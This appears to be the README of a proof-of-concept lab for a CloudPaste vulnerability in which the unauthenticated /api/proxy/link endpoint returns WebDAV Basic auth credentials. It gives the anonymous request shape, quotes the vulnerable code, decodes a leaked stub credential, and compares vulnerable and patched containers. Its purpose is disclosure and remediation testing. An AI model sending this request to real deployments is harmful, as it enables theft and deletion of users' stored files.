
PoC lab for CVE-2026-129494: unauthenticated CloudPaste /api/proxy/link leaks WebDAV Basic auth headers, enabling full storage read/write/delete via a single anonymous request.
/api/proxy/link endpoint returns WebDAV storage credentials| CVE | CVE-2026-129494 |
| Component | ling-drag0n/CloudPaste — backend/src/routes/proxyLinkRoutes.js (POST /api/proxy/link), share branch via LinkService.getShareUpstreamLink → WebDavStorageDriver.generateUpstreamRequest |
| Affected | 1.1.0 – 1.9.1 (the vendor's 1.9.2 image still leaks — see §7) |
| Fixed in | no genuine vendor fix verified at publication time; this laboratory's fixed side is v1.9.1 source + a hash-checked synthetic remediation (documented as such) |
| CWE | CWE-306 (Missing Authentication for Critical Function), CWE-522 (Insufficiently Protected Credentials) |
| Impact | Full WebDAV storage compromise from one anonymous request: the share branch of /api/proxy/link returns the upstream URL and the Basic Authorization header built from the WebDAV account — so anyone who knows a public share slug can read, modify, and delete every file on the backing WebDAV service, including files never shared through CloudPaste |
| Vector | Network, unauthenticated — POST /api/proxy/link with {"type":"share","slug":"<public slug>"} |
| Trigger | a share whose storage is WebDAV with use_proxy=0; the driver hands its Authorization: Basic … header to the endpoint, which returns it unchanged |
| Credit | advisory at vul.yulun.ac.cn/20261115/cloudpaste/ |
POST /api/proxy/link exists so a reverse proxy can resolve upstream
addresses. It has no authentication middleware; for a WebDAV-backed
share it returns the upstream URL and the Basic Authorization header
the WebDAV driver builds from the storage configuration — handing the
storage account to any anonymous caller:
{"code":200,"data":{"url":"http://…/dav/private.txt",
"header":{"Authorization":["Basic ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA=="]}}}
echo ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA== | base64 -d →
davuser:davpass-SECRET. This laboratory runs the vendor's published
container image for the vulnerable side, a stdlib WebDAV stub with one
shared and one never-shared file, and proves the full chain: one
anonymous request → credentials → read the unshared file.
proxyLinkRoutes.js (v1.9.1):
proxyLinkRoutes.post("/api/proxy/link", async (c) => {
// no authentication middleware — anonymous callers reach every branch
...
case "share": {
const storageLink = await linkService.getShareUpstreamLink(file, ...);
return c.json(buildLinkResponse({
url: storageLink.url,
header: normalizeHeaders(storageLink.headers || {}), // ← credentials
}), ApiStatus.OK);
}
getShareUpstreamLink → driver.generateUpstreamRequest (WebDAV
driver) encodes the configured account into the header:
const auth = this._basicAuthHeader();
if (auth) headers["Authorization"] = [auth];
return { url, headers };
The endpoint was designed for a trusted reverse proxy; nothing enforces that trust. Preconditions (a public WebDAV-backed share) are the default sharing flow of the product.
| service | image | role |
|---|---|---|
cp-vuln | dragon730/cloudpaste-backend:1.9.1 (vendor image, digest-pinned at pull) | the affected release |
cp-fixed | cve-2026-129494:fixed — v1.9.1 source + lab/patch-fixed.py (hash-checked): the endpoint is internal-secret gated | the remediation shape |
cp-dav | cve-2026-129494-davstub:local | stdlib WebDAV stub (Basic auth): private.txt (shared) + admin-notes.txt (never shared) |
poc | cve-2026-129494-poc:local | stdlib-only Python driver |
The vendor image keeps its state in a /data volume (SQLite);
administrative setup (login, storage config, mount, share) is driven
through the product's own HTTP API exactly as in the advisory.
./run-lab.sh build # pulls the pinned vendor image, builds stub + PoC
./run-lab.sh up # cve129494lab network: cp-vuln, cp-fixed, cp-dav
./run-lab.sh sweep # check / exploit / probe / mitigation on both sides
./run-lab.sh down
poc/poc.py (stdlib only; mirrors the advisory's chain):
POST /api/proxy/link. Exit 1 vulnerable, 0 safe, 3 no worker,
2 unreachable.admin-notes.txt from the WebDAV stub with
the leaked account → full compromise statement./api/proxy/link to the reverse proxy at the edge.| run | cp-vuln (1.9.1) | cp-fixed (synthetic) |
|---|---|---|
check anonymous share link | HTTP 200 + Authorization: Basic … → davuser:davpass-SECRET | HTTP 403 proxy link endpoint is internal-only |
exploit unshared-file read | HTTP 200 WEBDAV-UNSHARED-DATA | (no credentials) |
probe bad slug / empty slug / bad type / empty body | 404 / 400 / 400 / 400 (upstream validation intact) | 403 on every form |
Captured runs: evidence/check-*-run.txt, evidence/exploit-*-run.txt,
evidence/probe-*-run.txt, evidence/mitigation-*-run.txt,
evidence/versions.txt, evidence/0day-sweep.txt.
cve129494lab network.The endpoint matrix is the surface sweep (evidence/0day-sweep.txt).
The remediated build refuses every anonymous form with 403; the shipped
build validates slugs/types identically but leaks on the one reachable
form. The vendor's 1.9.2 image leaks identically to 1.9.1 (verified
against dragon730/cloudpaste-backend:1.9.2, digest
b17f43129cfe8…, 2026-11-16): the commit the advisory names as the
patch (282ea1c) does not remediate the endpoint in the published
image — this laboratory treats that as an unremediated-upstream finding
and uses a documented synthetic remediation for the differential.
README.md this write-up
run-lab.sh environment driver (build / up / sweep / down)
Makefile convenience targets
poc/poc.py the PoC (check / exploit / probe / mitigation)
poc/Dockerfile runner image (python:3.12-alpine)
lab/fixed.Dockerfile source build of the remediated backend
lab/patch-fixed.py the hash-checked synthetic remediation
lab/davstub.py stdlib WebDAV stub (shared + unshared files)
lab/davstub.Dockerfile
evidence/ captured runs of every mode on both sides
TRACKING.md excluded (working record)